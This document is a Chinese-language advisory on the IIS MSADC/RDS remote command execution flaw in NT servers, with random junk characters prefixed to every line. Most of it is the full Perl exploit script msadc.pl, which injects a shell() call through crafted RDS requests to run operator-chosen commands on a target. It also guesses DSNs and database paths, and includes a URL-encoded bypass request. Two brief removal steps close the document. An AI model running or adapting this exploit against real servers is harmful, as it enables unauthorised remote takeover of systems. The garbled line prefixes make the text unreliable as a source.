IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
kax\h 6QZ5|T ] 涉及程序：
C+F*690h Microsoft NT server
4ZC!SgJo 64j|}wJ$ 描述：
hzY [
G : 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
s k 2% Y '`"9Db 详细：
`nJu? 5 如果你没有时间读详细内容的话，就删除:
Y\+KoR' ; c:\Program Files\Common Files\System\Msadc\msadcs.dll
[m'CR 4(| 有关的安全问题就没有了。
o c{EuW{Ag [U\ (G 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
p" `% d"~(T:=r 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
rrs"N3!aT 关于利用ODBC远程漏洞的描述，请参看:
99OD= pxQ e kQrW%\3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm BF8"rq}r0 X6RQqen3: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Uh|>Skic4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp GZ }/leR
BRbV7 &
这里不再论述。
6'OO-o XidxNPz0^ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
{hqAnZ@]vr :Gh~fm3} /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!:fv> FEI9 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Nv tM3 Wv K(G3 {. k)2{ #将下面这段保存为txt文件，然后: "perl -x 文件名"
7;LO2<|1 h<p3' #!perl
v } )Q #
hPdx(E)8!d # MSADC/RDS 'usage' (aka exploit) script
80ZnM%/} #
Y/U{Qc\ 6 # by rain.forest.puppy
3+YbA)i ; #
h ? #@~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jB@ 4b 'y # beta test and find errors!
dL;HV8z^ FN
)d 1q(~ use Socket; use Getopt::Std;
(paf2F`~# getopts("e:vd:h:XR", \%args);
S7n" 3.k yu&Kh4AP print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8SnS~._9 oYX{R if (!defined $args{h} && !defined $args{R}) {
GVd48 * print qq~
0jB X5 Usage: msadc.pl -h <host> { -d <delay> -X -v }
+nZRi3yu= -h <host> = host you want to scan (ip or domain)
iRV ;Fks -d <seconds> = delay between calls, default 1 second
&1)xoZ'\ -X = dump Index Server path table, if available
@?&W m3x9 -v = verbose
Eych R/ s -e = external dictionary file for step 5
rhY_|bi4P K]N~~*`%` Or a -R will resume a command session
uhn%lV] s` >H ~; exit;}
B} *V%}:) - G ?%QG`v $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
w;yx<1f if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R Td^ImV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
IG.f=+<0 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6 ,N6jaW $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
M% =P)cC if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
p/|(,)'+jx 3n(*E_n if (!defined $args{R}){ $ret = &has_msadc;
t]m!ee8*X< die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
02 f9 w V T$b\Q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
D6=HYq dj . "cmd /c ";
BpT"~4oV5 $in=<STDIN>; chomp $in;
hWGZd~L $command="cmd /c " . $in ;
gOE_
] gM_:l if (defined $args{R}) {&load; exit;}
{HZS:AV0 zS%
m_,t print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Fu0 .~w &try_btcustmr;
Xt(!
a yS ruAkw% print "\nStep 2: Trying to make our own DSN...";
I}:L ]H{E &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
V;*p L1 3@X7YgILU print "\nStep 3: Trying known DSNs...";
k\(4sY M &known_dsn;
fykI,! tSw>@F M print "\nStep 4: Trying known .mdbs...";
G.VYp6)5 &known_mdb;
rycJ yiw<- &X w`T9< if (defined $args{e}){
%F$N#YG print "\nStep 5: Trying dictionary of DSN names...";
DJ:38_ F &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+rQg7a} #1l7 FT?q print "Sorry Charley...maybe next time?\n";
:c;_a-69 exit;
a"qR J-@ oYq,u@oM ##############################################################################
sQ(1/"gb lS{4dvr?w sub sendraw { # ripped and modded from whisker
lV7IHX1P sleep($delay); # it's a DoS on the server! At least on mine...
-c$z 2Q) my ($pstr)=@_;
92(~'5Qr socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FrR9{YTA . die("Socket problems\n");
0}-#b7eR if(connect(S,pack "SnA4x8",2,80,$target)){
RdkU2Y }V select(S); $|=1;
S _T print $pstr; my @in=<S>;
B/u*<k4 select(STDOUT); close(S);
T+W3_xIS X return @in;
8 on[%Vk } else { die("Can't connect...\n"); }}
JFJIls {F)E\)$G ##############################################################################
^fZGX<fH D5[VK `4Z sub make_header { # make the HTTP request
n ` #+L~X my $msadc=<<EOT
G"f du(.@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W%zmD Hk~ User-Agent: ACTIVEDATA
qj;l,Kua Host: $ip
fB[\("+ Content-Length: $clen
1HXlHic Connection: Keep-Alive
)v-Cj_W5]" ;Bnr=' [ ADCClientVersion:01.06
x?>!UqgkY Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
P7Z<0Dt\} T:)% P6/ --!ADM!ROX!YOUR!WORLD!
yr{5Rp05= Content-Type: application/x-varg
RR'(9QJ$ Content-Length: $reqlen
E~69^ cd 0Ts!(b]B EOT
s9:%s*$u ; $msadc=~s/\n/\r\n/g;
zK /f$} return $msadc;}
^OjvL6 A/p %d-`71|lG^ ##############################################################################
<dJIq "){ CMKhS,,o sub make_req { # make the RDS request
9M0d+:YJ my ($switch, $p1, $p2)=@_;
7Ff?Ysr my $req=""; my $t1, $t2, $query, $dsn;
Ahd\TH G/%Ubi6% if ($switch==1){ # this is the btcustmr.mdb query
B^Bbso'{1 $query="Select * from Customers where City=" . make_shell();
I-,X wj- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
?V6 %>RU $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
I<9n(rA ){ jqfkL elsif ($switch==2){ # this is general make table query
D;J|eC>^ $query="create table AZZ (B int, C varchar(10))";
Vy&f"4~ $dsn="$p1";}
!}j,TPpG WkcH 5[ elsif ($switch==3){ # this is general exploit table query
zdT ->% $query="select * from AZZ where C=" . make_shell();
Y"s
)u7 $dsn="$p1";}
u[:
P U !.~ XT= elsif ($switch==4){ # attempt to hork file info from index server
lxCX-a`@p $query="select path from scope()";
zv|M*Wu $dsn="Provider=MSIDXS;";}
b3P9Yoj- s|BX> 1 elsif ($switch==5){ # bad query
Y)5)s0} $query="select";
@>gD1Q7v b $dsn="$p1";}
7s$6XO! gRw.AXR a $t1= make_unicode($query);
&s 2#1 $t2= make_unicode($dsn);
0K`ZX&K?W $req = "\x02\x00\x03\x00";
B>ge,
}{ $req.= "\x08\x00" . pack ("S1", length($t1));
L;nZ0)@@l $req.= "\x00\x00" . $t1 ;
EK: Y2W Z $req.= "\x08\x00" . pack ("S1", length($t2));
\kfcv $req.= "\x00\x00" . $t2 ;
$]Rl__; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
oMz/sL'u return $req;}
'?z9,oW{ nP5d? ##############################################################################
//6^+ -he zL6
\p)y sub make_shell { # this makes the shell() statement
y`\mQ48V return "'|shell(\"$command\")|'";}
}ty"fI3&iY k f}F}Ad:% ##############################################################################
A> J1B(up LAizx^F sub make_unicode { # quick little function to convert to unicode
.Kg|f~InO my ($in)=@_; my $out;
!~ BZHi6\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2Ti" s - return $out;}
_+}-H'7= <!$dp9y. ##############################################################################
'MSEki67 A8#.1uEgNb sub rdo_success { # checks for RDO return success (this is kludge)
.A )\F ",X my (@in) = @_; my $base=content_start(@in);
0>I]=M]@ if($in[$base]=~/multipart\/mixed/){
QQ5 lW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j{-mQTSD return 0;}
**Qe`}E: rs d2v9 ##############################################################################
ev)rOcOU (ra:?B sub make_dsn { # this makes a DSN for us
3"HGEUqA my @drives=("c","d","e","f");
D)f5pEq' print "\nMaking DSN: ";
N)9pz?*V foreach $drive (@drives) {
%"1`
NT print "$drive: ";
b nA T,v{ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
YJ &lB&xH "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<Gb n PG? . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
W?SP . -I $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
HVtr,jg return 0 if $2 eq "404"; # not found/doesn't exist
R-=_z 6< if($2 eq "200") {
E1$Hu{ foreach $line (@results) {
Ufm(2` FQ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\[@ Q}k[ } return 0;}
Y\+(r C27 #
q0 Ub- ##############################################################################
UY ?i E= vgU hN_rK sub verify_exists {
(#!(Q)
] my ($page)=@_;
Pm qx ; my @results=sendraw("GET $page HTTP/1.0\n\n");
<`oCz Q1 return $results[0];}
+Q@/F~1@6@ EX+={U|ua$ ##############################################################################
,\\%EZ %a 2r PcNh9 sub try_btcustmr {
fcgDU *A% my @drives=("c","d","e","f");
s_S<gR my @dirs=("winnt","winnt35","winnt351","win","windows");
NqQM! B] ^8o_Iz)r, foreach $dir (@dirs) {
2N8rM}?90 print "$dir -> "; # fun status so you can see progress
g: G%Ei~sF foreach $drive (@drives) {
Z;|0"K
print "$drive: "; # ditto
vjO G?- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%igFHh? $reqlenlen=length( "$reqlen" );
lM@<_=2 $clen= 206 + $reqlenlen + $reqlen;
aF; ]7i@ &CB.*\0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Tn bGO; if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
f:x 9Y{Y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T% /xti5$! >N+bU{s ##############################################################################
-13P 2<i+ WH pUjyBP sub odbc_error {
PK:o}IWn~x my (@in)=@_; my $base;
3p?< iVE my $base = content_start(@in);
=j'J
!M if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
r` &2-] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h"RP>fZt $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0?J|C6XM#4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E<X{72fb> return $in[$base+4].$in[$base+5].$in[$base+6];}
RTg Q#<W8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
= )JVT$]w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
yr/]xc$ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Rye ~w6 O<eWq] ##############################################################################
~$?y1 Yv =!pu+&I 9 sub verbose {
/pAm8vK my ($in)=@_;
2$j
Ot} return if !$verbose;
AHp830 \ print STDOUT "\n$in\n";}
:{TmR3. L5 -T6CD ##############################################################################
$'J6#Vs hJC
p0F9O sub save {
L&!g33J&
my ($p1, $p2, $p3, $p4)=@_;
q 2_N90u open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&viwo}ls 0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%v`-uAy : close OUT;}
~RZJ/%6F 8xD<A| ##############################################################################
4."o.:8x uI[-P}bSc& sub load {
&6,Yjs:T m my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|d B 1R% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@ dWS*@ @p=<IN>; close(IN);
\GbHS*\+ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
tpNtoqg_$ $target= inet_aton($ip) || die("inet_aton problems");
&.+n
L
print "Resuming to $ip ...";
!yV,|)y5F $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Th& W q if($p[1]==1) {
DJD ]aI $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
V#-qKV $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
5 CY_Ay\ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
HX /GLnY/X if (rdo_success(@results)){print "Success!\n";}
/IrR,bvA else { print "failed\n"; verbose(odbc_error(@results));}}
8XS {6< elsif ($p[1]==3){
AihL>a% if(run_query("$p[3]")){
qmue!Fv#g print "Success!\n";} else { print "failed\n"; }}
H/p-YtY elsif ($p[1]==4){
O#Zs 3k if(run_query($drvst . "$p[3]")){
xZ S \#{ print "Success!\n"; } else { print "failed\n"; }}
bCE7 hutl exit;}
M0Kh>u fzk CI ##############################################################################
8XH |T^5 8f{}ce'E* sub create_table {
quCWc2pXX my ($in)=@_;
n ]6
0 $reqlen=length( make_req(2,$in,"") ) - 28;
wEHAkc)Q $reqlenlen=length( "$reqlen" );
UgD'Bi $clen= 206 + $reqlenlen + $reqlen;
JK:mQ _ my @results=sendraw(make_header() . make_req(2,$in,""));
mNnw G);$ return 1 if rdo_success(@results);
\AtwO my $temp= odbc_error(@results); verbose($temp);
Kl46CZs#8 return 1 if $temp=~/Table 'AZZ' already exists/;
<<W.x)#: return 0;}
MWn L#! Tk v ##############################################################################
}{ kTh%^ aG8D%i0 sub known_dsn {
O{i_?V _ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&JXHDpd$a^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
U>p lv "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
xvx\H' "banner", "banners", "ads", "ADCDemo", "ADCTest");
g+KzlS[6 Rbj+P;t& foreach $dSn (@dsns) {
5|~r{w)9 print ".";
CyK$XDHa next if (!is_access("DSN=$dSn"));
w
/W
Cj4` if(create_table("DSN=$dSn")){
+/b4@B7 print "$dSn successful\n";
A9qO2kq7_ if(run_query("DSN=$dSn")){
Y)4Nydq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ELgae1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
NBg>i7KQ -t~B@% ##############################################################################
! [P(B0Ct/ <Z_wDK/UR sub is_access {
Hdq/ E>u my ($in)=@_;
U@v8H!p^i $reqlen=length( make_req(5,$in,"") ) - 28;
Y?vm%t`K $reqlenlen=length( "$reqlen" );
|`( ?<m $clen= 206 + $reqlenlen + $reqlen;
dE}b8|</ my @results=sendraw(make_header() . make_req(5,$in,""));
Y="&|c=w#L my $temp= odbc_error(@results);
fD#&: ) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ap'kxOf"1 return 0;}
A_(+r _E&vE5<-$ ##############################################################################
Am0.c0h CN$A-sjZ sub run_query {
^/d^$ my ($in)=@_;
,^+R%7mv $reqlen=length( make_req(3,$in,"") ) - 28;
|b-Zy~6 $reqlenlen=length( "$reqlen" );
ad$Qs3)6o $clen= 206 + $reqlenlen + $reqlen;
P15 * VPy my @results=sendraw(make_header() . make_req(3,$in,""));
*liPJ29C[ return 1 if rdo_success(@results);
0h@%q; g my $temp= odbc_error(@results); verbose($temp);
0)`lx9&h return 0;}
@X6#$ex +&N &D"9A ##############################################################################
2gD{Fgf@N @aD~YtL"n sub known_mdb {
b%!` fn-; my @drives=("c","d","e","f","g");
Tx!m6B`Y my @dirs=("winnt","winnt35","winnt351","win","windows");
R.YGmT'2 my $dir, $drive, $mdb;
^<
/vbF my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e Rx[&-c $W_o$'crW # this is sparse, because I don't know of many
'3u]-GU2_ my @sysmdbs=( "\\catroot\\icatalog.mdb",
1uge>o& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
UWWD8~: "\\system32\\certmdb.mdb",
rLw[y$2 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
dzv,)X ~"r wP=<} my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
e>zk 3\D! "\\cfusion\\cfapps\\forums\\forums_.mdb",
X.AOp "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
!U b?eJp "\\cfusion\\cfapps\\security\\realm_.mdb",
]qza* ba "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=ci5&B? "\\cfusion\\database\\cfexamples.mdb",
qQ
DFg` "\\cfusion\\database\\cfsnippets.mdb",
2#:]%y;\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
uF3p1by "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
K<L%@[gi "\\cfusion\\brighttiger\\database\\cleam.mdb",
Z8dN0AqZ "\\cfusion\\database\\smpolicy.mdb",
j5Wx*~@( "\\cfusion\\database\cypress.mdb",
v3JIUdU=P "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+@)$l+kk9 "\\website\\cgi-win\\dbsample.mdb",
yzNX2u1 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.sR&9FH "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
D_ZBx+/_? ); #these are just
S,tVOxs^ foreach $drive (@drives) {
8m[L]6F(-z foreach $dir (@dirs){
s=~7m.m foreach $mdb (@sysmdbs) {
MJ"Mn^:/ print ".";
"A1yqK if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
U}wq~fD print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
-Lf6]5$2' if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=]xk-MY"|R print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
VUv.Tx]Z[ } else { print "Something's borked. Use verbose next time\n"; }}}}}
K9M.+d4 .@3u3i64' foreach $drive (@drives) {
!BikF4Y1L& foreach $mdb (@mdbs) {
?.A/E?Oc print ".";
'MQGR@* if(create_table($drv . $drive . $dir . $mdb)){
GK+\-U)v print "\n" . $drive . $dir . $mdb . " successful\n";
-Us% g if(run_query($drv . $drive . $dir . $mdb)){
}~C ZqIP print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
x0;}b-f } else { print "Something's borked. Use verbose next time\n"; }}}}
/ bu< ,o }
lg +95dz?~ ##############################################################################
}7 z+ $)7f%II sub hork_idx {
h-rj print "\nAttempting to dump Index Server tables...\n";
s]%! print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
K ':pU1 $reqlen=length( make_req(4,"","") ) - 28;
xAz4ZXj=q $reqlenlen=length( "$reqlen" );
J o(}#_y? $clen= 206 + $reqlenlen + $reqlen;
l(#Y8 my @results=sendraw2(make_header() . make_req(4,"",""));
%y\7 if (rdo_success(@results)){
nJ#@W b@ my $max=@results; my $c; my %d;
E0Y/N? for($c=19; $c<$max; $c++){
9 la~3L_g $results[$c]=~s/\x00//g;
nN\XVGP,t $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
:*+BBC $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
\q1%d.\X $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%1 ^jd\ $d{"$1$2"}="";}
f vM3.P foreach $c (keys %d){ print "$c\n"; }
j<P%Uy+ } else {print "Index server doesn't seem to be installed.\n"; }}
* !Y3N<>! d lLk4a+ ##############################################################################
!X < n:J k pw4 Mq@ sub dsn_dict {
W!B4< 'Fjc open(IN, "<$args{e}") || die("Can't open external dictionary\n");
wP':B
AQ4U while(<IN>){
2^ZPO4| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"#k(V=y next if (!is_access("DSN=$dSn"));
& 8i{'k,l if(create_table("DSN=$dSn")){
9qy 9 print "$dSn successful\n";
}o: sx/=u_ if(run_query("DSN=$dSn")){
`oWjq6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
']Xx#U N print "Something's borked. Use verbose next time\n";}}}
(g:W|hS
print "\n"; close(IN);}
<\~#\A=; "K!BJQ ##############################################################################
. mrRv8>$ f4I9H0d;! sub sendraw2 { # ripped and modded from whisker
I3$vw7}5Y sleep($delay); # it's a DoS on the server! At least on mine...
3}1+"? s my ($pstr)=@_;
0_pwY=P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
uWj-tzu die("Socket problems\n");
5o ^= ~ if(connect(S,pack "SnA4x8",2,80,$target)){
3A}8? print "Connected. Getting data";
>t }D5ah open(OUT,">raw.out"); my @in;
6b01xu(A[ select(S); $|=1; print $pstr;
'|?r&-5 h while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
^ 6|"=+cO\ close(OUT); select(STDOUT); close(S); return @in;
u.Yb#? } else { die("Can't connect...\n"); }}
z))[Lg 6lAo`S\)eX ##############################################################################
)9Ojvp=#r: ~(]DNXB8I` sub content_start { # this will take in the server headers
,ToEK Id my (@in)=@_; my $c;
8HA=O ?Cg for ($c=1;$c<500;$c++) {
cS7!,XC if($in[$c] =~/^\x0d\x0a/){
"a{f?
.X. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
W3rvKqdw5 else { return $c+1; }}}
S
IK{GWX return -1;} # it should never get here actually
M=`Se& -M Li^!OHro. ##############################################################################
=V
7w CW KptLeb:Om sub funky {
.. TjEBp my (@in)=@_; my $error=odbc_error(@in);
<F
& hfy if($error=~/ADO could not find the specified provider/){
'B 6H/d> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
bQjHQ"G exit;}
3*JybMo" if($error=~/A Handler is required/){
>G~;2K[ print "\nServer has custom handler filters (they most likely are patched)\n";
#[yl;1) exit;}
&>fd:16 if($error=~/specified Handler has denied Access/){
e"/X*xA print "\nServer has custom handler filters (they most likely are patched)\n";
rep"xV&|>o exit;}}
w! 7/;VJ3d dS=,. } ##############################################################################
|c/rHEZ LXV6Ew5E sub has_msadc {
=ApT#*D)o my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
*60)Vo.= my $base=content_start(@results);
y-# tU>P return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
gN QJ :! return 0;}
}!Lr!eALr h!~yYN Q" ########################
!:{_< C"D ksp':2d} 0pOha(,~ 解决方案：
`VN<6o( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?%ntO] 2、移除web 目录: /msadc
